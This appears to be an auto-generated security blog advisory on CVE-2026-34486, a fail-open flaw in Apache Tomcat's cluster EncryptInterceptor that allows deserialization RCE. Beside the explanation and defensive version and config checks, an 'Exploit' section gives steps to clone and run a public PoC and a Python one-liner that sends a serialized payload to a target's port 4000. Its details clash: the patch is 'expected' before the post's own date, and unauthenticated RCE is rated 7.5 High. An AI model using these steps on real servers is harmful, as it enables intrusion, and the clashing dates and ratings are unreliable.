Listen to this Post
CVE-2026-34486 is a regression vulnerability introduced by an incomplete fix for CVE-2026-29146, a padding oracle flaw in Apache Tomcat’s EncryptInterceptor. The EncryptInterceptor is a component of Tomcat Tribes—the built-in clustering and session replication module—responsible for encrypting and authenticating messages exchanged between cluster nodes. When a cluster message arrives, the interceptor is supposed to decrypt it and, upon success, forward the decrypted payload up the handler chain; upon failure, it should discard the message entirely.
The vulnerability stems from a subtle but critical control-flow change made during the CVE-2026-29146 patch. In the refactored code, the `super.messageReceived(msg)` call—which passes the message to the next processing stage—was moved outside the try-catch block that handles decryption. The `msg` variable is declared before the try block and assigned within it. When decryption throws an exception (e.g., `BadPaddingException` or AEADBadTagException), the catch block merely logs the error but does not return early. Execution continues, and `super.messageReceived(msg)` is invoked with the original, unencrypted raw message still in the variable. In essence, the interceptor “fails open”—it accepts and processes attacker-supplied bytes even when cryptographic validation fails.
This bypass operates at the protocol level, circumventing the interceptor’s validation checks and allowing malicious actors to inject data that should have been rejected. The forwarded bytes then travel through the Tribes processing chain, eventually reaching XByteBuffer.deserialize(), which uses `ObjectInputStream.readObject()` without an `ObjectInputFilter` in the described flow. An unauthenticated attacker with network access to the Tribes receiver port (default TCP/4000) can send a crafted, unencrypted serialized Java object. If the target classpath contains usable deserialization gadgets (e.g., Commons Collections), this leads directly to unauthenticated remote code execution. The vulnerability affects Apache Tomcat versions 11.0.20, 10.1.53, and 9.0.116. Fixed versions are 11.0.21, 10.1.54, and 9.0.117. CISA has added this CVE to its Known Exploited Vulnerabilities Catalog, and public proof-of-concept exploit code is readily available.
DailyCVE Form:
Platform: Apache Tomcat
Version: 11.0.20/10.1.53/9.0.116
Vulnerability: EncryptInterceptor fail-open bypass
Severity: High (CVSS 7.5)
Date: 2026-04-09
Prediction: Patch expected 2026-04-04
What Undercode Say:
Analytics from public sources indicate active exploitation in the wild. CISA added CVE-2026-34486 to its Known Exploited Vulnerabilities catalog on 2026-08-05. Public PoC exploit code was released on 2026-05-11. Nuclei templates are available for automated scanning. The vulnerability is a regression from CVE-2026-29146, and the fix involves restoring proper error handling in EncryptInterceptor.messageReceived().
Check Tomcat version catalina.sh version Check if Tribes clustering is enabled (grep server.xml) grep -A 10 "<Cluster" conf/server.xml Check if EncryptInterceptor is configured grep -A 5 "EncryptInterceptor" conf/server.xml Verify cluster receiver port (default 4000) grep -A 5 "<Receiver" conf/server.xml | grep "port" Debian/Ubuntu package version check dpkg -l | grep tomcat RHEL/CentOS package version check rpm -qa | grep tomcat
Exploit:
Clone public PoC repository
git clone https://github.com/striga-ai/CVE-2026-34486.git
cd CVE-2026-34486
One-command reproduction (builds Docker container with Tomcat 11.0.20,
generates CC6 gadget chain payload, sends unencrypted to Tribes receiver
on port 4000, verifies RCE by checking for /tmp/pwned)
bash run.sh
Manual cleanup
docker rm -f tomcat-encrypt-poc
Alternative: send raw serialized payload using Python
python3 -c "import socket; s=socket.socket(); s.connect(('target',4000)); s.send(open('payload.ser','rb').read()); s.close()"
Protection:
– Upgrade to Apache Tomcat 11.0.21, 10.1.54, or 9.0.117 immediately
– If immediate upgrade is not possible, disable Tribes clustering if not required
– Restrict network access to the Tribes receiver port (default TCP/4000) using firewalls or ACLs
– Apply an `ObjectInputFilter` globally to restrict deserialization classes
– Monitor for unexpected connections to port 4000/5000 (cluster receiver ports)
– Deploy WAF or IPS rules that block serialized Java objects on cluster ports
Impact:
– Confidentiality: Sensitive data such as session identifiers, authentication tokens, and cluster state can be transmitted in plaintext or with insufficient encryption
– Integrity: Attackers can inject arbitrary data into cluster replication streams, potentially corrupting session state across nodes
– Availability: Remote code execution can lead to complete compromise of the Tomcat server, including denial of service, data exfiltration, and lateral movement within the cluster
– Scope: Unauthenticated, network-adjacent attacker with access to the Tribes receiver port can achieve RCE without credentials
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
